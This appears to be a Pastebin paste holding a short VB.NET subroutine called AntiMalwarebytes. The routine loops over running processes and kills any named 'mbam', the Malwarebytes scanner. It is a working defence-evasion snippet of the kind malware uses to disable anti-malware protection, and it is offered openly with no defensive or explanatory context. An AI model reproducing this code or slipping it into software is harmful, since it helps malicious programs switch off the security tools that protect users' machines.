Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub AntiMalwarebytes()
- Dim KillTheProcess As Process() = Process.GetProcesses
- Dim i As Integer
- For i = 0 To KillTheProcess.Length - 1
- Select Case Strings.LCase(KillTheProcess(i).ProcessName)
- Case "mbam"
- KillTheProcess(i).Kill()
- Case Else
- End Select
- Next
- End Sub
Add Comment
Please, Sign In to add comment